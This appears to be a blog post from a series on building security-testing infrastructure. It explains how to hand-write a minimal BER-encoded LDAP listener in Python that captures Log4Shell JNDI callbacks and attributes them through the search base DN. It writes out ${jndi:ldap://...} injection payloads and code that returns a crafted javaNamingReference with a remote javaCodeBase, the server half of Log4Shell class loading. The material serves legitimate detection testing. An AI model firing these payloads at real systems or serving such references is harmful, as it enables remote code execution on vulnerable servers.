Fifth in a series on building OAST infrastructure from scratch. Post 1 built the javax.naming.Reference that an LDAP server returns; this one builds the LDAP server that returns it — and solves a problem the DNS and HTTP listeners never had: with LDAP, there’s nothing in the protocol that tells you whose host the callback was for.

The most-typed Log4Shell payload is:

${jndi:ldap://<host>/a}

I’ve typed that string into more input fields than I can count. What I’d never done, until this listener, was stand at the other end of it and answer — the most-pasted payload in appsec, and the server side of it is somehow the part nobody writes up.

When a vulnerable log statement interpolates that, the JVM does a JNDI lookup against your LDAP server. So a complete OAST platform needs to be an LDAP server — not a conformant directory, just enough to complete the handshake, capture the lookup, and (the moat) optionally hand back a crafted reference. LDAP-over-TCP is BER-encoded ASN.1, which sounds heavyweight but, for the three messages we care about, is about 120 lines of codec.

BER in the only detail you need: tag, length, value

BER (the wire form of ASN.1 that LDAP uses) is recursively TLV: a Tag byte, a Length, then that many bytes of Value. Nest TLVs and you have structured messages.

  • Tag: one byte. Bits 7–6 are the class, bit 5 marks “constructed” (contains nested TLVs), bits 4–0 are the number. LDAP’s op tags are all ≤ 30, so a tag is always one byte here — no multi-byte tag parsing needed.
  • Length: definite form, two flavors. If the byte is < 0x80, that is the length (short form). If the high bit is set, the low 7 bits say how many following big-endian bytes hold the real length (long form). That’s the whole rule:
def encode_length(n):
    if n < 0x80:
        return bytes([n])               # short form: the byte is the length
    out = bytearray()
    while n:
        out.append(n & 0xFF); n >>= 8
    out.reverse()
    return bytes([0x80 | len(out)]) + bytes(out)   # long form: 0x80|count, then bytes
  • Value: the content — a primitive (integer, octet string) or nested TLVs.

Encoding is just “tag + length + content”:

def tlv(tag, content):
    return bytes([tag]) + encode_length(len(content)) + content

Reading is the inverse, and the one thing you must get right is framing a TCP stream: LDAP messages arrive back-to-back on a socket, so before parsing you compute the total length of the first complete message (header + declared length) and wait until you’ve buffered that many bytes. Get framing wrong and you’ll try to parse half a message under load. The same length rule above tells you where the message ends.

The tags you need are few:

TAG_INTEGER       = 0x02
TAG_OCTET_STRING  = 0x04
TAG_ENUMERATED    = 0x0A
TAG_SEQUENCE      = 0x30   # constructed
TAG_SET           = 0x31   # constructed
# APPLICATION-tagged LDAP ops: class 0x40 | constructed 0x20 | number
TAG_BIND_REQUEST    = 0x60   # APPLICATION 0
TAG_BIND_RESPONSE   = 0x61   # APPLICATION 1
TAG_SEARCH_REQUEST  = 0x63   # APPLICATION 3
TAG_SEARCH_RES_ENTRY= 0x64   # APPLICATION 4
TAG_SEARCH_RES_DONE = 0x65   # APPLICATION 5

One encoder subtlety that bites: a positive integer whose top bit is set needs a leading 0x00 or it reads back negative (BER integers are signed two’s-complement). Pad for the sign bit, then trim redundant leading zeros to stay minimal. It’s four lines and it’s the difference between a messageID of 200 and one of -56.

The conversation: bind, search, done

A JNDI/Log4Shell client speaks a tiny subset:

  1. bindRequest (anonymous) → you reply bindResponse with resultCode 0 (success).
  2. searchRequest → this is the lookup. You capture it, then reply searchResultEntry (capture-plus-craft mode) and/or searchResultDone (resultCode 0).

An LDAPMessage is a SEQUENCE of { messageID INTEGER, protocolOp }. Parsing leniently — read the SEQUENCE, read the messageID, read the one APPLICATION-tagged op — is enough:

def parse_message(msg):
    _, content, _ = ber.read_tlv(msg, 0)            # outer SEQUENCE
    _, c_id, off = ber.read_tlv(content, 0)         # messageID
    op_tag, op_content, _ = ber.read_tlv(content, off)  # protocolOp
    req = LdapRequest(message_id=ber.decode_int(c_id), op_tag=op_tag)
    if op_tag == ber.TAG_SEARCH_REQUEST:
        _, c_base, _ = ber.read_tlv(op_content, 0)  # baseObject == the lookup path
        req.base_dn = c_base.decode("utf-8", "replace")
    return req

Note what we pull out of the searchRequest: the base DN (baseObject). Hold that thought.

The attribution problem nobody warns you about

This is the part I actually learned something from. Here’s what makes the LDAP listener genuinely different from the DNS and HTTP ones. With DNS, the query name tells you which host was hit. With HTTP, the Host header (or SNI) does. LDAP has neither. A connection arrives, binds anonymously, and searches — and nothing in the protocol says “this callback was for tenant Alice’s host.”

The only per-lookup, attacker-controllable string in the whole exchange is the search base DN — the path part of ldap://you/<dn>. So that’s the attribution signal. Your payloads put the host label in the DN:

${jndi:ldap://<label>.<zone>:1389/<dn>}
                    ^^^^^^ in the hostname (resolves via your wildcard A)

…and on capture you run the same rightmost-label attribution you use for DNS, but against the base DN (and the connecting hostname). It’s a constraint that flows all the way back into payload design: because the protocol gives you no host context, the payload has to carry the identity itself. DNS and HTTP had spoiled me — both hand you the target for free, in the query name or the Host header — and it genuinely hadn’t occurred to me that a protocol might just decline to tell you. Every writeup I’d read shows you the Reference; not one of them mentions that you won’t know who it’s for.

(Convenient detail: you don’t even need a new DNS record. The victim resolves <label>.<zone> via the wildcard A the DNS listener already answers, then connects to your LDAP port. One zone, another protocol for free.)

Returning the reference (the moat, in one line of intent)

In capture-only mode you reply with an empty searchResultDone and you’re done — you’ve logged the callback. The interesting mode builds a searchResultEntry whose attributes are the JNDI reference: objectClass=javaNamingReference, javaClassName, javaCodeBase (a URL you host), javaFactory. The BER for that is just nested SEQUENCEs of { name, SET-of values }:

def search_result_entry(message_id, dn, attributes):
    attr_list = bytearray()
    for name, values in attributes.items():
        vals = b"".join(ber.encode_octet_string(v) for v in values)
        attr_list += ber.tlv(TAG_SEQUENCE,
            ber.encode_octet_string(name) + ber.tlv(TAG_SET, vals))
    op = ber.tlv(TAG_SEARCH_RES_ENTRY,
        ber.encode_octet_string(dn) + ber.tlv(TAG_SEQUENCE, bytes(attr_list)))
    return _ldap_message(message_id, op)

Whether the JVM then loads a class from javaCodeBase depends on its version and trustURLCodebase — that’s the exploit half, deliberately out of scope here. The point for the listener is: the same hand-rolled BER that parses the lookup also crafts the response.

Did the hand-rolled BER actually work?

The acid test for any from-scratch protocol implementation is a real client, not your own encoder agreeing with your own decoder. Point OpenLDAP’s ldapsearch at the listener:

ldapsearch -x -H ldap://127.0.0.1:1389 -b 'cn=test,dc=example' -s base
# result: 0 Success

Watching result: 0 Success come back from a client I hadn’t written was the first moment I believed the codec was actually right. A real LDAP client completing a clean bind+search against your 120 lines of BER is the proof the encoding is spec-correct — which, transitively, means a Java client’s JNDI lookup will parse it too. Same lesson as the JNDI Reference post: your oracle has to be an independent implementation, never your own round-trip.

Takeaways

  • BER is just nested tag-length-value. Short-form vs long-form length and signed-integer padding are the only sharp edges; the LDAP subset is ~120 lines.
  • TCP framing is a real step. Compute the first complete message’s length and buffer to it before parsing, or you’ll choke on coalesced messages under load.
  • LDAP gives you no Host/SNI — the search base DN is your only attribution signal. That constraint propagates into payload design: the payload must carry the host identity, because the protocol won’t.
  • Validate against a real client. ldapsearch returning Success is the only proof your hand-rolled codec is correct; self-round-tripping proves nothing.

Next: the other JNDI pillar — ${jndi:rmi://...} — which means parsing JRMP, the RMI registry protocol, off the wire. It’s the read side of post 1’s serialization story.


This is part of a series I’m writing on building OAST infrastructure from scratch — hand-rolling a JNDI Reference, an authoritative DNS server, sandboxing untrusted Python for the response logic, and multi-tenant isolation as the safety net. This post built the LDAP sink; next it’s the other JNDI pillar — JRMP, the RMI registry protocol, read off the wire.